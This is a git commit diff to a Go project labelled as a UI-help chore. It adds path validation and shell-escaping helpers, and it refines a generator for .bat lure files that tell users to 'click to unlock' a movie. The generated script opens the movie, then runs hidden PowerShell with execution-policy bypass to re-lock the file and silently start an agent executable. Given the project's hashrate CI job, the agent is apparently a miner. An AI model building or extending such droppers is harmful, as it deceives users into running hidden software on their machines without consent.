chore: sync post-pack UI help and pathforge tweaks
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-06 16:57:52 -07:00
parent 415b5dc6a3
commit 92db39217f
4 changed files with 145 additions and 7 deletions

View File

@@ -228,6 +228,102 @@ func sanitizeStem(s string) string {
return strings.TrimSpace(replacer.Replace(s))
}
// ─── BLD-D1: root_path allowlist validation ───────────────────────────────────
// validateRootPath ensures rootPath is safe to walk:
// - must not contain ".." segments (path traversal)
// - must resolve to a path under an operator-allowed prefix
func (h *PathForgeHandler) validateRootPath(rootPath string) (string, error) {
if containsDotDot(rootPath) {
return "", fmt.Errorf("must not contain '..' path traversal sequences")
}
abs, err := filepath.Abs(rootPath)
if err != nil {
return "", fmt.Errorf("invalid path: %w", err)
}
if !h.isAllowedRootPath(abs) {
return "", fmt.Errorf("path is outside allowed directories (must be under home, temp, or server data directory)")
}
return abs, nil
}
// containsDotDot returns true if any segment of the slash/backslash-separated
// path equals "..".
func containsDotDot(p string) bool {
for _, seg := range strings.FieldsFunc(p, func(r rune) bool { return r == '/' || r == '\\' }) {
if seg == ".." {
return true
}
}
return false
}
// isAllowedRootPath reports whether abs is equal to or under one of the
// safe prefix directories: the server dataDir, the user home directory, or
// the OS temp directory.
func (h *PathForgeHandler) isAllowedRootPath(abs string) bool {
var prefixes []string
if h.dataDir != "" {
if d, err := filepath.Abs(h.dataDir); err == nil {
prefixes = append(prefixes, d)
}
}
if home, err := os.UserHomeDir(); err == nil {
prefixes = append(prefixes, home)
}
prefixes = append(prefixes, os.TempDir())
for _, prefix := range prefixes {
if isPathUnder(abs, prefix) {
return true
}
}
return false
}
// isPathUnder reports whether path equals parent or is a subdirectory of it.
// Uses filepath.Rel to correctly handle cross-platform path semantics.
func isPathUnder(path, parent string) bool {
rel, err := filepath.Rel(parent, path)
if err != nil {
return false
}
return !strings.HasPrefix(rel, "..")
}
// ─── BLD-D2: shell/bat escaping helpers ──────────────────────────────────────
// escapeBat escapes a value for embedding inside a cmd.exe double-quoted string.
// % must become %% to prevent variable expansion; " terminates the string.
func escapeBat(s string) string {
s = strings.ReplaceAll(s, "%", "%%")
s = strings.ReplaceAll(s, `"`, `\"`)
return s
}
// escapeBatPS escapes a value for embedding inside a PowerShell single-quoted
// string that is itself inside a cmd.exe double-quoted -Command argument.
func escapeBatPS(s string) string {
s = strings.ReplaceAll(s, "%", "%%") // cmd.exe percent expansion
s = strings.ReplaceAll(s, `"`, `\"`) // cmd.exe double-quote (string terminator)
s = strings.ReplaceAll(s, "'", "''") // PowerShell single-quote escape
return s
}
// escapeShDouble escapes a value for embedding inside a bash double-quoted string.
func escapeShDouble(s string) string {
s = strings.ReplaceAll(s, `\`, `\\`)
s = strings.ReplaceAll(s, `"`, `\"`)
s = strings.ReplaceAll(s, `$`, `\$`)
s = strings.ReplaceAll(s, "`", "\\`")
return s
}
// escapeShSingle escapes a value for embedding inside a bash single-quoted string.
// The only character that needs escaping is ' itself (end-quote, literal, re-open).
func escapeShSingle(s string) string {
return strings.ReplaceAll(s, "'", `'\''`)
}
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
// The filename itself is the instruction; the content gives a second nudge.
func hintContent(stem string, macOnly bool) string {
@@ -254,13 +350,21 @@ func hintContent(stem string, macOnly bool) string {
//
// When lockOriginal is false it simply opens realFile and runs the agent.
func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string {
// Escape for cmd.exe double-quoted strings (bat context).
lfBat := escapeBat(lockedFile)
rfBat := escapeBat(realFile)
// Escape for PowerShell single-quoted strings inside the bat -Command "..." argument.
lfPS := escapeBatPS(lockedFile)
rfPS := escapeBatPS(realFile)
esPS := escapeBatPS(exeStem)
b := "@echo off\r\n"
if lockOriginal {
// Step 1: unlock
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile)
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lfBat, rfBat)
}
// Step 2: open the file
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile)
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", rfBat)
// Step 3+4: hidden PowerShell — wait, re-lock, run agent
if lockOriginal {
b += fmt.Sprintf(
@@ -268,12 +372,12 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string
" Start-Sleep 4;"+
" if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+
" Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
realFile, realFile, lockedFile, exeStem)
rfPS, rfPS, lfPS, esPS)
} else {
b += fmt.Sprintf(
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
exeStem)
esPS)
}
return b
}